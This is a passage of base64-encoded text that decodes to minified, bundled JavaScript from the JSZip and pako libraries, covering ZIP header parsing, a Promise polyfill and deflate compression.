dGVkOmZ1bmN0aW9uKCl7cmV0dXJuIDE9PSgxJnRoaXMuYml0RmxhZyl9LHVzZVVURjg6ZnVuY3Rpb24oKXtyZXR1cm4gMjA0OD09KDIwNDgmdGhpcy5iaXRGbGFnKX0scmVhZExvY2FsUGFydDpmdW5jdGlvbih0KXt2YXIgZSxyO2lmKHQuc2tpcCgyMiksdGhpcy5maWxlTmFtZUxlbmd0aD10LnJlYWRJbnQoMikscj10LnJlYWRJbnQoMiksdGhpcy5maWxlTmFtZT10LnJlYWREYXRhKHRoaXMuZmlsZU5hbWVMZW5ndGgpLHQuc2tpcChyKSwtMT09PXRoaXMuY29tcHJlc3NlZFNpemV8fC0xPT09dGhpcy51bmNvbXByZXNzZWRTaXplKXRocm93IG5ldyBFcnJvcigiQnVnIG9yIGNvcnJ1cHRlZCB6aXAgOiBkaWRuJ3QgZ2V0IGVub3VnaCBpbmZvcm1hdGlvbiBmcm9tIHRoZSBjZW50cmFsIGRpcmVjdG9yeSAoY29tcHJlc3NlZFNpemUgPT09IC0xIHx8IHVuY29tcHJlc3NlZFNpemUgPT09IC0xKSIpO2lmKG51bGw9PT0oZT1mdW5jdGlvbih0KXtmb3IodmFyIGUgaW4gaClpZihoLmhhc093blByb3BlcnR5KGUpJiZoW2VdLm1hZ2ljPT09dClyZXR1cm4gaFtlXTtyZXR1cm4gbnVsbH0odGhpcy5jb21wcmVzc2lvbk1ldGhvZCkpKXRocm93IG5ldyBFcnJvcigiQ29ycnVwdGVkIHppcCA6IGNvbXByZXNzaW9uICIrcy5wcmV0dHkodGhpcy5jb21wcmVzc2lvbk1ldGhvZCkrIiB1bmtub3duIChpbm5lciBmaWxlIDogIitzLnRyYW5zZm9ybVRvKCJzdHJpbmciLHRoaXMuZmlsZU5hbWUpKyIpIik7dGhpcy5kZWNvbXByZXNzZWQ9bmV3IG4odGhpcy5jb21wcmVzc2VkU2l6ZSx0aGlzLnVuY29tcHJlc3NlZFNpemUsdGhpcy5jcmMzMixlLHQucmVhZERhdGEodGhpcy5jb21wcmVzc2VkU2l6ZSkpfSxyZWFkQ2VudHJhbFBhcnQ6ZnVuY3Rpb24odCl7dGhpcy52ZXJzaW9uTWFkZUJ5PXQucmVhZEludCgyKSx0LnNraXAoMiksdGhpcy5iaXRGbGFnPXQucmVhZEludCgyKSx0aGlzLmNvbXByZXNzaW9uTWV0aG9kPXQucmVhZFN0cmluZygyKSx0aGlzLmRhdGU9dC5yZWFkRGF0ZSgpLHRoaXMuY3JjMzI9dC5yZWFkSW50KDQpLHRoaXMuY29tcHJlc3NlZFNpemU9dC5yZWFkSW50KDQpLHRoaXMudW5jb21wcmVzc2VkU2l6ZT10LnJlYWRJbnQoNCk7dmFyIGU9dC5yZWFkSW50KDIpO2lmKHRoaXMuZXh0cmFGaWVsZHNMZW5ndGg9dC5yZWFkSW50KDIpLHRoaXMuZmlsZUNvbW1lbnRMZW5ndGg9dC5yZWFkSW50KDIpLHRoaXMuZGlza051bWJlclN0YXJ0PXQucmVhZEludCgyKSx0aGlzLmludGVybmFsRmlsZUF0dHJpYnV0ZXM9dC5yZWFkSW50KDIpLHRoaXMuZXh0ZXJuYWxGaWxlQXR0cmlidXRlcz10LnJlYWRJbnQoNCksdGhpcy5sb2NhbEhlYWRlck9mZnNldD10LnJlYWRJbnQoNCksdGhpcy5pc0VuY3J5cHRlZCgpKXRocm93IG5ldyBFcnJvcigiRW5jcnlwdGVkIHppcCBhcmUgbm90IHN1cHBvcnRlZCIpO3Quc2tpcChlKSx0aGlzLnJlYWRFeHRyYUZpZWxkcyh0KSx0aGlzLnBhcnNlWklQNjRFeHRyYUZpZWxkKHQpLHRoaXMuZmlsZUNvbW1lbnQ9dC5yZWFkRGF0YSh0aGlzLmZpbGVDb21tZW50TGVuZ3RoKX0scHJvY2Vzc0F0dHJpYnV0ZXM6ZnVuY3Rpb24oKXt0aGlzLnVuaXhQZXJtaXNzaW9ucz1udWxsLHRoaXMuZG9zUGVybWlzc2lvbnM9bnVsbDt2YXIgdD10aGlzLnZlcnNpb25NYWRlQnk+Pjg7dGhpcy5kaXI9ISEoMTYmdGhpcy5leHRlcm5hbEZpbGVBdHRyaWJ1dGVzKSwwPT10JiYodGhpcy5kb3NQZXJtaXNzaW9ucz02MyZ0aGlzLmV4dGVybmFsRmlsZUF0dHJpYnV0ZXMpLDM9PXQmJih0aGlzLnVuaXhQZXJtaXNzaW9ucz10aGlzLmV4dGVybmFsRmlsZUF0dHJpYnV0ZXM+PjE2JjY1NTM1KSx0aGlzLmRpcnx8Ii8iIT09dGhpcy5maWxlTmFtZVN0ci5zbGljZSgtMSl8fCh0aGlzLmRpcj0hMCl9LHBhcnNlWklQNjRFeHRyYUZpZWxkOmZ1bmN0aW9uKHQpe2lmKHRoaXMuZXh0cmFGaWVsZHNbMV0pe3ZhciBlPWkodGhpcy5leHRyYUZpZWxkc1sxXS52YWx1ZSk7dGhpcy51bmNvbXByZXNzZWRTaXplPT09cy5NQVhfVkFMVUVfMzJCSVRTJiYodGhpcy51bmNvbXByZXNzZWRTaXplPWUucmVhZEludCg4KSksdGhpcy5jb21wcmVzc2VkU2l6ZT09PXMuTUFYX1ZBTFVFXzMyQklUUyYmKHRoaXMuY29tcHJlc3NlZFNpemU9ZS5yZWFkSW50KDgpKSx0aGlzLmxvY2FsSGVhZGVyT2Zmc2V0PT09cy5NQVhfVkFMVUVfMzJCSVRTJiYodGhpcy5sb2NhbEhlYWRlck9mZnNldD1lLnJlYWRJbnQoOCkpLHRoaXMuZGlza051bWJlclN0YXJ0PT09cy5NQVhfVkFMVUVfMzJCSVRTJiYodGhpcy5kaXNrTnVtYmVyU3RhcnQ9ZS5yZWFkSW50KDQpKX19LHJlYWRFeHRyYUZpZWxkczpmdW5jdGlvbih0KXt2YXIgZSxyLGksbj10LmluZGV4K3RoaXMuZXh0cmFGaWVsZHNMZW5ndGg7Zm9yKHRoaXMuZXh0cmFGaWVsZHN8fCh0aGlzLmV4dHJhRmllbGRzPXt9KTt0LmluZGV4KzQ8bjspZT10LnJlYWRJbnQoMikscj10LnJlYWRJbnQoMiksaT10LnJlYWREYXRhKHIpLHRoaXMuZXh0cmFGaWVsZHNbZV09e2lkOmUsbGVuZ3RoOnIsdmFsdWU6aX07dC5zZXRJbmRleChuKX0saGFuZGxlVVRGODpmdW5jdGlvbigpe3ZhciB0PXUudWludDhhcnJheT8idWludDhhcnJheSI6ImFycmF5IjtpZih0aGlzLnVzZVVURjgoKSl0aGlzLmZpbGVOYW1lU3RyPW8udXRmOGRlY29kZSh0aGlzLmZpbGVOYW1lKSx0aGlzLmZpbGVDb21tZW50U3RyPW8udXRmOGRlY29kZSh0aGlzLmZpbGVDb21tZW50KTtlbHNle3ZhciBlPXRoaXMuZmluZEV4dHJhRmllbGRVbmljb2RlUGF0aCgpO2lmKG51bGwhPT1lKXRoaXMuZmlsZU5hbWVTdHI9ZTtlbHNle3ZhciByPXMudHJhbnNmb3JtVG8odCx0aGlzLmZpbGVOYW1lKTt0aGlzLmZpbGVOYW1lU3RyPXRoaXMubG9hZE9wdGlvbnMuZGVjb2RlRmlsZU5hbWUocil9dmFyIGk9dGhpcy5maW5kRXh0cmFGaWVsZFVuaWNvZGVDb21tZW50KCk7aWYobnVsbCE9PWkpdGhpcy5maWxlQ29tbWVudFN0cj1pO2Vsc2V7dmFyIG49cy50cmFuc2Zvcm1Ubyh0LHRoaXMuZmlsZUNvbW1lbnQpO3RoaXMuZmlsZUNvbW1lbnRTdHI9dGhpcy5sb2FkT3B0aW9ucy5kZWNvZGVGaWxlTmFtZShuKX19fSxmaW5kRXh0cmFGaWVsZFVuaWNvZGVQYXRoOmZ1bmN0aW9uKCl7dmFyIHQ9dGhpcy5leHRyYUZpZWxkc1syODc4OV07aWYodCl7dmFyIGU9aSh0LnZhbHVlKTtyZXR1cm4gMSE9PWUucmVhZEludCgxKT9udWxsOmEodGhpcy5maWxlTmFtZSkhPT1lLnJlYWRJbnQoNCk/bnVsbDpvLnV0ZjhkZWNvZGUoZS5yZWFkRGF0YSh0Lmxlbmd0aC01KSl9cmV0dXJuIG51bGx9LGZpbmRFeHRyYUZpZWxkVW5pY29kZUNvbW1lbnQ6ZnVuY3Rpb24oKXt2YXIgdD10aGlzLmV4dHJhRmllbGRzWzI1NDYxXTtpZih0KXt2YXIgZT1pKHQudmFsdWUpO3JldHVybiAxIT09ZS5yZWFkSW50KDEpP251bGw6YSh0aGlzLmZpbGVDb21tZW50KSE9PWUucmVhZEludCg0KT9udWxsOm8udXRmOGRlY29kZShlLnJlYWREYXRhKHQubGVuZ3RoLTUpKX1yZXR1cm4gbnVsbH19LGUuZXhwb3J0cz1sfSx7Ii4vY29tcHJlc3NlZE9iamVjdCI6MiwiLi9jb21wcmVzc2lvbnMiOjMsIi4vY3JjMzIiOjQsIi4vcmVhZGVyL3JlYWRlckZvciI6MjIsIi4vc3VwcG9ydCI6MzAsIi4vdXRmOCI6MzEsIi4vdXRpbHMiOjMyfV0sMzU6W2Z1bmN0aW9uKHQsZSxyKXsidXNlIHN0cmljdCI7ZnVuY3Rpb24gaSh0LGUscil7dGhpcy5uYW1lPXQsdGhpcy5kaXI9ci5kaXIsdGhpcy5kYXRlPXIuZGF0ZSx0aGlzLmNvbW1lbnQ9ci5jb21tZW50LHRoaXMudW5peFBlcm1pc3Npb25zPXIudW5peFBlcm1pc3Npb25zLHRoaXMuZG9zUGVybWlzc2lvbnM9ci5kb3NQZXJtaXNzaW9ucyx0aGlzLl9kYXRhPWUsdGhpcy5fZGF0YUJpbmFyeT1yLmJpbmFyeSx0aGlzLm9wdGlvbnM9e2NvbXByZXNzaW9uOnIuY29tcHJlc3Npb24sY29tcHJlc3Npb25PcHRpb25zOnIuY29tcHJlc3Npb25PcHRpb25zfX12YXIgcz10KCIuL3N0cmVhbS9TdHJlYW1IZWxwZXIiKSxuPXQoIi4vc3RyZWFtL0RhdGFXb3JrZXIiKSxhPXQoIi4vdXRmOCIpLG89dCgiLi9jb21wcmVzc2VkT2JqZWN0IiksaD10KCIuL3N0cmVhbS9HZW5lcmljV29ya2VyIik7aS5wcm90b3R5cGU9e2ludGVybmFsU3RyZWFtOmZ1bmN0aW9uKHQpe3ZhciBlPW51bGwscj0ic3RyaW5nIjt0cnl7aWYoIXQpdGhyb3cgbmV3IEVycm9yKCJObyBvdXRwdXQgdHlwZSBzcGVjaWZpZWQuIik7dmFyIGk9InN0cmluZyI9PT0ocj10LnRvTG93ZXJDYXNlKCkpfHwidGV4dCI9PT1yOyJiaW5hcnlzdHJpbmciIT09ciYmInRleHQiIT09cnx8KHI9InN0cmluZyIpLGU9dGhpcy5fZGVjb21wcmVzc1dvcmtlcigpO3ZhciBuPSF0aGlzLl9kYXRhQmluYXJ5O24mJiFpJiYoZT1lLnBpcGUobmV3IGEuVXRmOEVuY29kZVdvcmtlcikpLCFuJiZpJiYoZT1lLnBpcGUobmV3IGEuVXRmOERlY29kZVdvcmtlcikpfWNhdGNoKHQpeyhlPW5ldyBoKCJlcnJvciIpKS5lcnJvcih0KX1yZXR1cm4gbmV3IHMoZSxyLCIiKX0sYXN5bmM6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdGhpcy5pbnRlcm5hbFN0cmVhbSh0KS5hY2N1bXVsYXRlKGUpfSxub2RlU3RyZWFtOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHRoaXMuaW50ZXJuYWxTdHJlYW0odHx8Im5vZGVidWZmZXIiKS50b05vZGVqc1N0cmVhbShlKX0sX2NvbXByZXNzV29ya2VyOmZ1bmN0aW9uKHQsZSl7aWYodGhpcy5fZGF0YSBpbnN0YW5jZW9mIG8mJnRoaXMuX2RhdGEuY29tcHJlc3Npb24ubWFnaWM9PT10Lm1hZ2ljKXJldHVybiB0aGlzLl9kYXRhLmdldENvbXByZXNzZWRXb3JrZXIoKTt2YXIgcj10aGlzLl9kZWNvbXByZXNzV29ya2VyKCk7cmV0dXJuIHRoaXMuX2RhdGFCaW5hcnl8fChyPXIucGlwZShuZXcgYS5VdGY4RW5jb2RlV29ya2VyKSksby5jcmVhdGVXb3JrZXJGcm9tKHIsdCxlKX0sX2RlY29tcHJlc3NXb3JrZXI6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5fZGF0YSBpbnN0YW5jZW9mIG8/dGhpcy5fZGF0YS5nZXRDb250ZW50V29ya2VyKCk6dGhpcy5fZGF0YSBpbnN0YW5jZW9mIGg/dGhpcy5fZGF0YTpuZXcgbih0aGlzLl9kYXRhKX19O2Zvcih2YXIgdT1bImFzVGV4dCIsImFzQmluYXJ5IiwiYXNOb2RlQnVmZmVyIiwiYXNVaW50OEFycmF5IiwiYXNBcnJheUJ1ZmZlciJdLGw9ZnVuY3Rpb24oKXt0aHJvdyBuZXcgRXJyb3IoIlRoaXMgbWV0aG9kIGhhcyBiZWVuIHJlbW92ZWQgaW4gSlNaaXAgMy4wLCBwbGVhc2UgY2hlY2sgdGhlIHVwZ3JhZGUgZ3VpZGUuIil9LGY9MDtmPHUubGVuZ3RoO2YrKylpLnByb3RvdHlwZVt1W2ZdXT1sO2UuZXhwb3J0cz1pfSx7Ii4vY29tcHJlc3NlZE9iamVjdCI6MiwiLi9zdHJlYW0vRGF0YVdvcmtlciI6MjcsIi4vc3RyZWFtL0dlbmVyaWNXb3JrZXIiOjI4LCIuL3N0cmVhbS9TdHJlYW1IZWxwZXIiOjI5LCIuL3V0ZjgiOjMxfV0sMzY6W2Z1bmN0aW9uKHQsbCxlKXsoZnVuY3Rpb24oZSl7InVzZSBzdHJpY3QiO3ZhciByLGksdD1lLk11dGF0aW9uT2JzZXJ2ZXJ8fGUuV2ViS2l0TXV0YXRpb25PYnNlcnZlcjtpZih0KXt2YXIgbj0wLHM9bmV3IHQodSksYT1lLmRvY3VtZW50LmNyZWF0ZVRleHROb2RlKCIiKTtzLm9ic2VydmUoYSx7Y2hhcmFjdGVyRGF0YTohMH0pLHI9ZnVuY3Rpb24oKXthLmRhdGE9bj0rK24lMn19ZWxzZSBpZihlLnNldEltbWVkaWF0ZXx8dm9pZCAwPT09ZS5NZXNzYWdlQ2hhbm5lbClyPSJkb2N1bWVudCJpbiBlJiYib25yZWFkeXN0YXRlY2hhbmdlImluIGUuZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik/ZnVuY3Rpb24oKXt2YXIgdD1lLmRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3Qub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7dSgpLHQub25yZWFkeXN0YXRlY2hhbmdlPW51bGwsdC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHQpLHQ9bnVsbH0sZS5kb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuYXBwZW5kQ2hpbGQodCl9OmZ1bmN0aW9uKCl7c2V0VGltZW91dCh1LDApfTtlbHNle3ZhciBvPW5ldyBlLk1lc3NhZ2VDaGFubmVsO28ucG9ydDEub25tZXNzYWdlPXUscj1mdW5jdGlvbigpe28ucG9ydDIucG9zdE1lc3NhZ2UoMCl9fXZhciBoPVtdO2Z1bmN0aW9uIHUoKXt2YXIgdCxlO2k9ITA7Zm9yKHZhciByPWgubGVuZ3RoO3I7KXtmb3IoZT1oLGg9W10sdD0tMTsrK3Q8cjspZVt0XSgpO3I9aC5sZW5ndGh9aT0hMX1sLmV4cG9ydHM9ZnVuY3Rpb24odCl7MSE9PWgucHVzaCh0KXx8aXx8cigpfX0pLmNhbGwodGhpcywidW5kZWZpbmVkIiE9dHlwZW9mIGdsb2JhbD9nbG9iYWw6InVuZGVmaW5lZCIhPXR5cGVvZiBzZWxmP3NlbGY6InVuZGVmaW5lZCIhPXR5cGVvZiB3aW5kb3c/d2luZG93Ont9KX0se31dLDM3OltmdW5jdGlvbih0LGUscil7InVzZSBzdHJpY3QiO3ZhciBuPXQoImltbWVkaWF0ZSIpO2Z1bmN0aW9uIHUoKXt9dmFyIGw9e30scz1bIlJFSkVDVEVEIl0sYT1bIkZVTEZJTExFRCJdLGk9WyJQRU5ESU5HIl07ZnVuY3Rpb24gbyh0KXtpZigiZnVuY3Rpb24iIT10eXBlb2YgdCl0aHJvdyBuZXcgVHlwZUVycm9yKCJyZXNvbHZlciBtdXN0IGJlIGEgZnVuY3Rpb24iKTt0aGlzLnN0YXRlPWksdGhpcy5xdWV1ZT1bXSx0aGlzLm91dGNvbWU9dm9pZCAwLHQhPT11JiZjKHRoaXMsdCl9ZnVuY3Rpb24gaCh0LGUscil7dGhpcy5wcm9taXNlPXQsImZ1bmN0aW9uIj09dHlwZW9mIGUmJih0aGlzLm9uRnVsZmlsbGVkPWUsdGhpcy5jYWxsRnVsZmlsbGVkPXRoaXMub3RoZXJDYWxsRnVsZmlsbGVkKSwiZnVuY3Rpb24iPT10eXBlb2YgciYmKHRoaXMub25SZWplY3RlZD1yLHRoaXMuY2FsbFJlamVjdGVkPXRoaXMub3RoZXJDYWxsUmVqZWN0ZWQpfWZ1bmN0aW9uIGYoZSxyLGkpe24oZnVuY3Rpb24oKXt2YXIgdDt0cnl7dD1yKGkpfWNhdGNoKHQpe3JldHVybiBsLnJlamVjdChlLHQpfXQ9PT1lP2wucmVqZWN0KGUsbmV3IFR5cGVFcnJvcigiQ2Fubm90IHJlc29sdmUgcHJvbWlzZSB3aXRoIGl0c2VsZiIpKTpsLnJlc29sdmUoZSx0KX0pfWZ1bmN0aW9uIGQodCl7dmFyIGU9dCYmdC50aGVuO2lmKHQmJigib2JqZWN0Ij09dHlwZW9mIHR8fCJmdW5jdGlvbiI9PXR5cGVvZiB0KSYmImZ1bmN0aW9uIj09dHlwZW9mIGUpcmV0dXJuIGZ1bmN0aW9uKCl7ZS5hcHBseSh0LGFyZ3VtZW50cyl9fWZ1bmN0aW9uIGMoZSx0KXt2YXIgcj0hMTtmdW5jdGlvbiBpKHQpe3J8fChyPSEwLGwucmVqZWN0KGUsdCkpfWZ1bmN0aW9uIG4odCl7cnx8KHI9ITAsbC5yZXNvbHZlKGUsdCkpfXZhciBzPXAoZnVuY3Rpb24oKXt0KG4saSl9KTsiZXJyb3IiPT09cy5zdGF0dXMmJmkocy52YWx1ZSl9ZnVuY3Rpb24gcCh0LGUpe3ZhciByPXt9O3RyeXtyLnZhbHVlPXQoZSksci5zdGF0dXM9InN1Y2Nlc3MifWNhdGNoKHQpe3Iuc3RhdHVzPSJlcnJvciIsci52YWx1ZT10fXJldHVybiByfShlLmV4cG9ydHM9bykucHJvdG90eXBlLmZpbmFsbHk9ZnVuY3Rpb24oZSl7aWYoImZ1bmN0aW9uIiE9dHlwZW9mIGUpcmV0dXJuIHRoaXM7dmFyIHI9dGhpcy5jb25zdHJ1Y3RvcjtyZXR1cm4gdGhpcy50aGVuKGZ1bmN0aW9uKHQpe3JldHVybiByLnJlc29sdmUoZSgpKS50aGVuKGZ1bmN0aW9uKCl7cmV0dXJuIHR9KX0sZnVuY3Rpb24odCl7cmV0dXJuIHIucmVzb2x2ZShlKCkpLnRoZW4oZnVuY3Rpb24oKXt0aHJvdyB0fSl9KX0sby5wcm90b3R5cGUuY2F0Y2g9ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMudGhlbihudWxsLHQpfSxvLnByb3RvdHlwZS50aGVuPWZ1bmN0aW9uKHQsZSl7aWYoImZ1bmN0aW9uIiE9dHlwZW9mIHQmJnRoaXMuc3RhdGU9PT1hfHwiZnVuY3Rpb24iIT10eXBlb2YgZSYmdGhpcy5zdGF0ZT09PXMpcmV0dXJuIHRoaXM7dmFyIHI9bmV3IHRoaXMuY29uc3RydWN0b3IodSk7dGhpcy5zdGF0ZSE9PWk/ZihyLHRoaXMuc3RhdGU9PT1hP3Q6ZSx0aGlzLm91dGNvbWUpOnRoaXMucXVldWUucHVzaChuZXcgaChyLHQsZSkpO3JldHVybiByfSxoLnByb3RvdHlwZS5jYWxsRnVsZmlsbGVkPWZ1bmN0aW9uKHQpe2wucmVzb2x2ZSh0aGlzLnByb21pc2UsdCl9LGgucHJvdG90eXBlLm90aGVyQ2FsbEZ1bGZpbGxlZD1mdW5jdGlvbih0KXtmKHRoaXMucHJvbWlzZSx0aGlzLm9uRnVsZmlsbGVkLHQpfSxoLnByb3RvdHlwZS5jYWxsUmVqZWN0ZWQ9ZnVuY3Rpb24odCl7bC5yZWplY3QodGhpcy5wcm9taXNlLHQpfSxoLnByb3RvdHlwZS5vdGhlckNhbGxSZWplY3RlZD1mdW5jdGlvbih0KXtmKHRoaXMucHJvbWlzZSx0aGlzLm9uUmVqZWN0ZWQsdCl9LGwucmVzb2x2ZT1mdW5jdGlvbih0LGUpe3ZhciByPXAoZCxlKTtpZigiZXJyb3IiPT09ci5zdGF0dXMpcmV0dXJuIGwucmVqZWN0KHQsci52YWx1ZSk7dmFyIGk9ci52YWx1ZTtpZihpKWModCxpKTtlbHNle3Quc3RhdGU9YSx0Lm91dGNvbWU9ZTtmb3IodmFyIG49LTEscz10LnF1ZXVlLmxlbmd0aDsrK248czspdC5xdWV1ZVtuXS5jYWxsRnVsZmlsbGVkKGUpfXJldHVybiB0fSxsLnJlamVjdD1mdW5jdGlvbih0LGUpe3Quc3RhdGU9cyx0Lm91dGNvbWU9ZTtmb3IodmFyIHI9LTEsaT10LnF1ZXVlLmxlbmd0aDsrK3I8aTspdC5xdWV1ZVtyXS5jYWxsUmVqZWN0ZWQoZSk7cmV0dXJuIHR9LG8ucmVzb2x2ZT1mdW5jdGlvbih0KXtpZih0IGluc3RhbmNlb2YgdGhpcylyZXR1cm4gdDtyZXR1cm4gbC5yZXNvbHZlKG5ldyB0aGlzKHUpLHQpfSxvLnJlamVjdD1mdW5jdGlvbih0KXt2YXIgZT1uZXcgdGhpcyh1KTtyZXR1cm4gbC5yZWplY3QoZSx0KX0sby5hbGw9ZnVuY3Rpb24odCl7dmFyIHI9dGhpcztpZigiW29iamVjdCBBcnJheV0iIT09T2JqZWN0LnByb3RvdHlwZS50b1N0cmluZy5jYWxsKHQpKXJldHVybiB0aGlzLnJlamVjdChuZXcgVHlwZUVycm9yKCJtdXN0IGJlIGFuIGFycmF5IikpO3ZhciBpPXQubGVuZ3RoLG49ITE7aWYoIWkpcmV0dXJuIHRoaXMucmVzb2x2ZShbXSk7dmFyIHM9bmV3IEFycmF5KGkpLGE9MCxlPS0xLG89bmV3IHRoaXModSk7Zm9yKDsrK2U8aTspaCh0W2VdLGUpO3JldHVybiBvO2Z1bmN0aW9uIGgodCxlKXtyLnJlc29sdmUodCkudGhlbihmdW5jdGlvbih0KXtzW2VdPXQsKythIT09aXx8bnx8KG49ITAsbC5yZXNvbHZlKG8scykpfSxmdW5jdGlvbih0KXtufHwobj0hMCxsLnJlamVjdChvLHQpKX0pfX0sby5yYWNlPWZ1bmN0aW9uKHQpe3ZhciBlPXRoaXM7aWYoIltvYmplY3QgQXJyYXldIiE9PU9iamVjdC5wcm90b3R5cGUudG9TdHJpbmcuY2FsbCh0KSlyZXR1cm4gdGhpcy5yZWplY3QobmV3IFR5cGVFcnJvcigibXVzdCBiZSBhbiBhcnJheSIpKTt2YXIgcj10Lmxlbmd0aCxpPSExO2lmKCFyKXJldHVybiB0aGlzLnJlc29sdmUoW10pO3ZhciBuPS0xLHM9bmV3IHRoaXModSk7Zm9yKDsrK248cjspYT10W25dLGUucmVzb2x2ZShhKS50aGVuKGZ1bmN0aW9uKHQpe2l8fChpPSEwLGwucmVzb2x2ZShzLHQpKX0sZnVuY3Rpb24odCl7aXx8KGk9ITAsbC5yZWplY3Qocyx0KSl9KTt2YXIgYTtyZXR1cm4gc319LHtpbW1lZGlhdGU6MzZ9XSwzODpbZnVuY3Rpb24odCxlLHIpeyJ1c2Ugc3RyaWN0Ijt2YXIgaT17fTsoMCx0KCIuL2xpYi91dGlscy9jb21tb24iKS5hc3NpZ24pKGksdCgiLi9saWIvZGVmbGF0ZSIpLHQoIi4vbGliL2luZmxhdGUiKSx0KCIuL2xpYi96bGliL2NvbnN0YW50cyIpKSxlLmV4cG9ydHM9aX0seyIuL2xpYi9kZWZsYXRlIjozOSwiLi9saWIvaW5mbGF0ZSI6NDAsIi4vbGliL3V0aWxzL2NvbW1vbiI6NDEsIi4vbGliL3psaWIvY29uc3RhbnRzIjo0NH1dLDM5OltmdW5jdGlvbih0LGUscil7InVzZSBzdHJpY3QiO3ZhciBhPXQoIi4vemxpYi9kZWZsYXRlIiksbz10KCIuL3V0aWxzL2NvbW1vbiIpLGg9dCgiLi91dGlscy9zdHJpbmdzIiksbj10KCIuL3psaWIvbWVzc2FnZXMiKSxzPXQoIi4vemxpYi96c3RyZWFtIiksdT1PYmplY3QucHJvdG90eXBlLnRvU3RyaW5nLGw9MCxmPS0xLGQ9MCxjPTg7ZnVuY3Rpb24gcCh0KXtpZighKHRoaXMgaW5zdGFuY2VvZiBwKSlyZXR1cm4gbmV3IHAodCk7dGhpcy5vcHRpb25zPW8uYXNzaWduKHtsZXZlbDpmLG1ldGhvZDpjLGNodW5rU2l6ZToxNjM4NCx3aW5kb3dCaXRzOjE1LG1lbUxldmVsOjgsc3RyYXRlZ3k6ZCx0bzoiIn0sdHx8e30pO3ZhciBlPXRoaXMub3B0aW9ucztlLnJhdyYmMDxlLndpbmRvd0JpdHM/ZS53aW5kb3dCaXRzPS1lLndpbmRvd0JpdHM6ZS5nemlwJiYwPGUud2luZG93Qml0cyYmZS53aW5kb3dCaXRzPDE2JiYoZS53aW5kb3dCaXRzKz0xNiksdGhpcy5lcnI9MCx0aGlzLm1zZz0iIix0aGlzLmVuZGVkPSExLHRoaXMuY2h1bmtzPVtdLHRoaXMuc3RybT1uZXcgcyx0aGlzLnN0cm0uYXZhaWxfb3V0PTA7dmFyIHI9YS5kZWZsYXRlSW5pdDIodGhpcy5zdHJtLGUubGV2ZWwsZS5tZXRob2QsZS53aW5kb3dCaXRzLGUubWVtTGV2ZWwsZS5zdHJhdGVneSk7aWYociE9PWwpdGhyb3cgbmV3IEVycm9yKG5bcl0pO2lmKGUuaGVhZGVyJiZhLmRlZmxhdGVTZXRIZWFkZXIodGhpcy5zdHJtLGUuaGVhZGVyKSxlLmRpY3Rpb25hcnkpe3ZhciBpO2lmKGk9InN0cmluZyI9PXR5cGVvZiBlLmRpY3Rpb25hcnk/aC5zdHJpbmcyYnVmKGUuZGljdGlvbmFyeSk6IltvYmplY3QgQXJyYXlCdWZmZXJdIj09PXUuY2FsbChlLmRpY3Rpb25hcnkpP25ldyBVaW50OEFycmF5KGUuZGljdGlvbmFyeSk6ZS5kaWN0aW9uYXJ5LChyPWEuZGVmbGF0ZVNldERpY3Rpb25hcnkodGhpcy5zdHJtLGkpKSE9PWwpdGhyb3cgbmV3IEVycm9yKG5bcl0pO3RoaXMuX2RpY3Rfc2V0PSEwfX1mdW5jdGlvbiBpKHQsZSl7dmFyIHI9bmV3IHAoZSk7aWYoci5wdXNoKHQsITApLHIuZXJyKXRocm93IHIubXNnfHxuW3IuZXJyXTtyZXR1cm4gci5yZXN1bHR9cC5wcm90b3R5cGUucHVzaD1mdW5jdGlvbih0LGUpe3ZhciByLGksbj10aGlzLnN0cm0scz10aGlzLm9wdGlvbnMuY2h1bmtTaXplO2lmKHRoaXMuZW5kZWQpcmV0dXJuITE7aT1lPT09fn5lP2U6ITA9PT1lPzQ6MCwic3RyaW5nIj09dHlwZW9mIHQ/bi5pbnB1dD1oLnN0cmluZzJidWYodCk6IltvYmplY3QgQXJyYXlCdWZmZXJdIj09PXUuY2FsbCh0KT9uLmlucHV0PW5ldyBVaW50OEFycmF5KHQpOm4uaW5wdXQ9dCxuLm5leHRfaW49MCxuLmF2YWlsX2luPW4uaW5wdXQubGVuZ3RoO2Rve2lmKDA9PT1uLmF2YWlsX291dCYmKG4ub3V0cHV0PW5ldyBvLkJ1Zjgocyksbi5uZXh0X291dD0wLG4uYXZhaWxfb3V0PXMpLDEhPT0ocj1hLmRlZmxhdGUobixpKSkmJnIhPT1sKXJldHVybiB0aGlzLm9uRW5kKHIpLCEodGhpcy5lbmRlZD0hMCk7MCE9PW4uYXZhaWxfb3V0JiYoMCE9PW4uYXZhaWxfaW58fDQhPT1pJiYyIT09aSl8fCgic3RyaW5nIj09PXRoaXMub3B0aW9ucy50bz90aGlzLm9uRGF0YShoLmJ1ZjJiaW5zdHJpbmcoby5zaHJpbmtCdWYobi5vdXRwdXQsbi5uZXh0X291dCkpKTp0aGlzLm9uRGF0YShvLnNocmlua0J1ZihuLm91dHB1dCxuLm5leHRfb3V0KSkpfXdoaWxlKCgwPG4uYXZhaWxfaW58fDA9PT1uLmF2YWlsX291dCkmJjEhPT1yKTtyZXR1cm4gND09PWk/KHI9YS5kZWZsYXRlRW5kKHRoaXMuc3RybSksdGhpcy5vbkVuZChyKSx0aGlzLmVuZGVkPSEwLHI9PT1sKToyIT09aXx8KHRoaXMub25FbmQobCksIShuLmF2YWlsX291dD0wKSl9LHAucHJvdG90eXBlLm9uRGF0YT1mdW5jdGlvbih0KXt0aGlzLmNodW5rcy5wdXNoKHQpfSxwLnByb3RvdHlwZS5vbkVuZD1mdW5jdGlvbih0KXt0PT09bCYmKCJzdHJpbmciPT09dGhpcy5vcHRpb25zLnRvP3RoaXMucmVzdWx0PXRoaXMuY2h1bmtzLmpvaW4oIiIpOnRoaXMucmVzdWx0PW8uZmxhdHRlbkNodW5rcyh0aGlzLmNodW5rcykpLHRoaXMuY2h1bmtzPVtdLHRoaXMuZXJyPXQsdGhpcy5tc2c9dGhpcy5zdHJtLm1zZ30sci5EZWZsYXRlPXAsci5kZWZsYXRlPWksci5kZWZsYXRlUmF3PWZ1bmN0aW9uKHQsZSl7cmV0